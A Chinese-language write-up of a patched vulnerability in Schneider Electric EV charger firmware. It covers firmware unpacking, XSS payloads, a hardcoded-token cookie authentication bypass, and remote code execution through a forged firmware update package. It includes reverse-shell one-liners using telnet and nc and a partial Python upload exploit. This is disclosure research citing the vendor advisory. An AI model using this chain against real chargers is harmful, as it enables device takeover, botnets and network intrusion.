施耐德充电桩漏洞挖掘之旅
字数 1604 2025-08-09 19:14:10
施耐德充电桩漏洞挖掘技术分析报告
1. 研究背景与目标
1.1 研究对象选择依据
- 研究价值:充电桩作为车联网必要组成部分
- 选择标准:
- 官方有响应中心(合法性)
- 固件可下载(便于静态分析)
- 市面上可购买(实物测试)
- 互联网有暴露目标(实际影响)
1.2 研究目标
- 远程获取设备Root权限
- 无需登录和用户交互
2. 信息收集与分析
2.1 固件获取与解包
- 固件下载地址:https://www.se.com/ww/en/download/document/MFR4341700/
- 最新固件版本:3.3.0.12
- 文件结构分析:
r7_update_3.3.0.12_d4.epk (tar格式) ├── CONTROL ├── at91sam9g20ek-bootstrap-3.6.11-201612.bin ├── bspv5_target_pre-update_script.sh ├── bspv5_target_update_script.sh ├── common_bspv4_target_shell_scripts.sh ├── common_bspv5_target_shell_scripts.sh ├── common_target_shell_scripts.sh ├── evse_base_jffs2.img (JFFS2文件系统) ├── redLight ├── run.sh ├── ssh.tgz ├── u-boot_env-bspv5p5.bin ├── u-boot_env-bspv5p7.bin └── uImage.parkingboard_v2_1 (Linux内核4.4.14)
2.2 系统架构分析
- 处理器:AT91SAM9G20 (ARM926EJ-S, 400MHz)
- 分区结构:
- /dev/mtdblock1: ssh及备份文件
- /dev/mtdblock2: bootstrap
- /dev/mtdblock4: uboot-env
- /dev/mtdblock5: uImage
- /dev/mtdblock6: evse_base
2.3 关键目录分析
- /mnt/datas/: 主应用程序、lib文件、shell脚本
- /mnt/flashfs: 配置文件和数据库
- /mnt/spare: 日志文件
3. 漏洞挖掘过程
3.1 初步测试
- XSS漏洞:
- 旧版本payload:
http://target/cgi-bin/cgiServer?worker=";prompt(1);// - 3.3.0.12版本payload:
http://target/cgi-bin/cgiServer?worker=Login&lang=%22;alert(1;//
- 旧版本payload:
3.2 IDA静态分析技巧
- cgiserver分析:
- 使用IDA 7.0(7.2不支持32位伪代码)
- 解决栈不平衡问题:
- 打开栈指针选项
- 定位出错地址
- 使用alt+k调整栈值
- 批量重命名函数:搜索
%s called (模式
3.3 关键漏洞发现
3.3.1 硬编码token漏洞
- 漏洞位置:
treatRequestInternal函数 - 绕过认证方法:
- 设置cookie:
CURLTOKEN=b35fcdc1ea1***a0131c5a - 设置cookie:
SESSIONID=admin
- 设置cookie:
- 漏洞原理:后端curl调用使用固定token验证
3.3.2 固件更新RCE漏洞
-
漏洞链:
- 固件更新执行
/mnt/datas/opt/evse/epk-install.sh - 脚本使用环境变量
EPK_KEY验证 - 验证通过后执行
run.sh
- 固件更新执行
-
利用步骤:
- 构造恶意
run.sh文件 - 生成匹配的
CONTROL文件:echo -n "private_key_content" > private sha256sum private | awk '{print $1}' > CONTROL - 打包为epk文件:
tar cf malicious.epk CONTROL run.sh - 上传触发
- 构造恶意
-
反弹shell技巧:
- 初始失败原因:网络限制
- 成功payload:
telnet ip port1 | /bin/bash | telnet ip port2 - 备选方案:
nc ip port -e /bin/bash
4. 自动化利用开发
4.1 请求流程
- 获取内网IP:访问
/cgi-bin/cgiServer?worker=FirmwareUpgradeForm - 构造上传请求:
POST /cgi-bin/cgiServer?worker=FileDispatcher&nextWorker=FirmwareUpgrade&finalWorker=FirmwareUpgrade&finalIp=[内网IP]&treatOnlyThisStation=yes&uploading=true&longProcessing=true
4.2 Python实现要点
import requests
# 获取内网IP
r = requests.get("http://target/cgi-bin/cgiServer?worker=FirmwareUpgradeForm")
ip = re.search(r'value="(\d+\.\d+\.\d+\.\d+)"', r.text).group(1)
# 构造恶意epk文件
# ... (生成CONTROL和run.sh并打包)
# 上传触发
files = {
'fichier': (
'malicious.epk',
open('malicious.epk', 'rb'),
"application/octet-stream" # 关键头
)
}
requests.post(
f"http://target/cgi-bin/cgiServer?worker=FileDispatcher&finalIp={ip}...",
files=files,
cookies={"CURLTOKEN": "b35fcdc1ea1***a0131c5a", "SESSIONID": "admin"}
)
5. 漏洞影响与修复
5.1 潜在影响
- 组建僵尸网络
- 企业内网横向渗透
- 设备控制(电压调节等)
5.2 官方修复
- 公告地址:https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
- 修复时间:2021年7月
6. 技术总结
- 固件分析:通过解包和逆向确定系统结构和关键组件
- 认证绕过:利用硬编码token和后门逻辑
- RCE构造:通过固件更新机制注入恶意脚本
- 利用优化:解决网络限制实现稳定反弹shell
附录:关键文件结构
epk文件结构
├── CONTROL # 校验文件
├── run.sh # 实际执行的脚本
└── ... # 其他可选文件
cgiserver关键函数
├── treatRequestInternal
│ ├── Cookie处理 (SESSIONID, SESSIONTOKEN, CURLTOKEN)
│ ├── 权限验证逻辑
│ └── 固件更新调用
└── Install
├── setenv设置EPK_KEY
└── 执行epk-install.sh